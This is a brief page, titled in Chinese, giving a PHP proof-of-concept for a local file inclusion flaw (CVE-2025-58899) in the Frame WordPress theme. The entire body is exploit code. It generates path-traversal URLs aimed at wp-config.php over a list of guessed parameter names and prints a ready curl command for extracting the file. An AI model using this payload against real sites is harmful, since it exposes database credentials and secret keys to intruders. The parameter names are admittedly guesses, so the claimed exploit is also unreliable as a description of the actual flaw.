CVE-2025-58899 AncoraThemes Frame主题本地文件包含漏洞

<?php /** * CVE-2025-58899 PoC - AncoraThemes Frame LFI * Affected: Frame Theme <= 2.4.0 * CVSS: 8.1 (High) * Author: [email protected] */ // Target URL - Replace with actual vulnerable site $target = 'http://target-site.com/'; // Vulnerable parameter - Common patterns in Frame theme $vulnerable_params = [ 'template', 'page', 'file', 'include', 'action' ]; // Payload to read wp-config.php $payload = '../../../../wp-config.php'; // Display PoC usage if ($argv[1] ?? false) { echo "[*] CVE-2025-58899 PoC - Frame Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] Payload: {$payload}\n\n"; // Generate attack URLs foreach ($vulnerable_params as $param) { $url = $target . "?{$param}={$payload}"; echo "[+] URL: {$url}\n"; } echo "\n[*] To extract data, use:\n"; echo "curl -s '{$target}?{$vulnerable_params[0]}={$payload}'\n"; } else { echo "Usage: php poc.php run\n"; } ?>